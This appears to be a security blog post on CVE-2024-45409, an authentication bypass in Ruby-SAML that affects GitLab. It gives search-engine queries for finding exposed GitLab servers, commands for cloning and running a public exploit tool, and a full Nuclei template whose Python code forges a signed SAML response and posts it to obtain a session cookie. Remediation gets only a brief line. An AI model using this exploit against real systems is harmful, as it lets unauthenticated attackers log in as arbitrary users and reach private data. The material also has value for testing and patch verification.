CVE-2024-45409 | Ruby-SAML Auth Bypass In GitLab

Description of CVE-2024-45409 | Ruby-SAML Auth Bypass In GitLab

The Ruby SAML library is used to implement the client side of an SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response. An unauthenticated attacker with access to any signed SAML document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as an arbitrary user within the vulnerable system. This vulnerability is fixed in 1.17.0 and 1.12.3.

Reconnaissance of CVE-2024-45409 | Auth Bypass In GitLab

In this section, we are using online OSINT-based tools to discover the affected domains and IP Addresses.

Shodan.io

http.component:"GitLab”

Censys.io

labels=`github`

Fofa.info

app="Githlab"

Hunter.how

product.name="GitLab"

ZoomEYE.HK

app:"gitlab”

CVE-2024-45409 Exploit | GitLab Auth Bypass Exploit

CVE-2024-45409 Python Tool Installation

Linux / WSL Installation

sudo apt install python3-lxml ; git clone https://github.com/synacktiv/CVE-2024-45409.git ; cd CVE-2024-45409 ; chmod +x CVE-2024-45409.py ; python3 CVE-2024-45409.py -h

Usage Guide of CVE-2024-45409.py Tool

Intercept the URL and Base64-encoded IDP SAML response first, then modify the XML content using the script.

POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]

SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
	Digest algorithm: sha256
	Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64

For More Information, You Can Visit the Official Exploit Tool Page HERE

CVE-2024-45409 Exploit (POC) | GitLab Auth Bypass Exploit

GitLab – SAML Auth Bypass Exploit using Nuclei

The Ruby SAML library is for the client side and utilises SAML authorization. Ruby-SAML with = 12.2 and 1.13.0 = 1.16.0 cannot properly verify the signature of a SAML Response. You can create a file called CVE-2024-45409.yaml with the following code.

id: CVE-2024-45409

info:
  name: GitLab - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
  impact: |
    An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
    - https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
    - https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
    product: gitlab
    vendor: gitlab
  tags: cve,cve2024,saml,auth-bypass,gitlab,code

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      try:
        from lxml import etree
      except ImportError:
        raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
      import hashlib,os
      import base64
      from datetime import datetime, timedelta
      import urllib.parse
      import requests
      username = os.getenv('username')
      if not username:
          username='[email protected]'
      saml_response = os.getenv('SAMLResponse')
      xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
      parser = etree.XMLParser(remove_blank_text=True)
      root = etree.fromstring(xml_content, parser)

      namespaces = {
          'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
          'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
          'ds': 'http://www.w3.org/2000/09/xmldsig#'
      }

      response_signature = root.find('./ds:Signature', namespaces)
      if response_signature is not None:
          root.remove(response_signature)

      nameid = root.find(
          './/saml:NameID',
          namespaces
      )
      if nameid is not None:
          nameid.text = username

      attribute_values = root.findall('.//saml:AttributeValue', namespaces)
      for attr_value in attribute_values:
          attr_value.text = username

      assertion = root.find('.//saml:Assertion', namespaces)
      if assertion is not None:
          # Create a deep copy of the assertion for digest calculation
          assertion_copy = etree.fromstring(etree.tostring(assertion))
          signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
          if signature_in_assertion is not None:
              signature_in_assertion.getparent().remove(signature_in_assertion)
          canonicalized_assertion = etree.tostring(
              assertion_copy, method='c14n', exclusive=True, with_comments=False
          )
          digest = hashlib.sha256(canonicalized_assertion).digest()
          digest_value = base64.b64encode(digest).decode()
      else:
          digest_value = ''

      issuer = root.find('.//saml:Issuer', namespaces)
      if issuer is not None:
          parent = issuer.getparent()
          index = parent.index(issuer)
          extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
          digest_element = etree.SubElement(
              extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
          )
          digest_element.text = digest_value
          parent.insert(index + 1, extensions)

      malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
                  root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
              ))))
      print(malformed_samlresponse)

http:
  - raw:
      - |
        POST /users/auth/saml/callback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        RelayState=undefined&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"known_sign_in")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - _gitlab_session
# digest: 4b0a00483046022100aac3014dc61bab8223d36c1bd10f19aa4886b33778e2b16cf891fce7f7c24bee022100a42cd0b25c8f4a54304541ca26f508284772b55881c43962eb396092205425ff:922c64590222798bb761d5b6d8e72950

Credit Project Discovery

Impact of CVE-2024-45409

GitLab authentication bypass (CVE-2024-45409) vulnerability has a critical impact it can allow adversaries to bypass authentication mechanisms and gain access to PII data, modify data or cause a denial of service (Dos) attack

Severity of CVE-2024-45409

  • CVSS Score: Critical 9.8
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Remediation of CVE-2024-45409

  • Upgrade the library to a secure version (1.17.0 or later).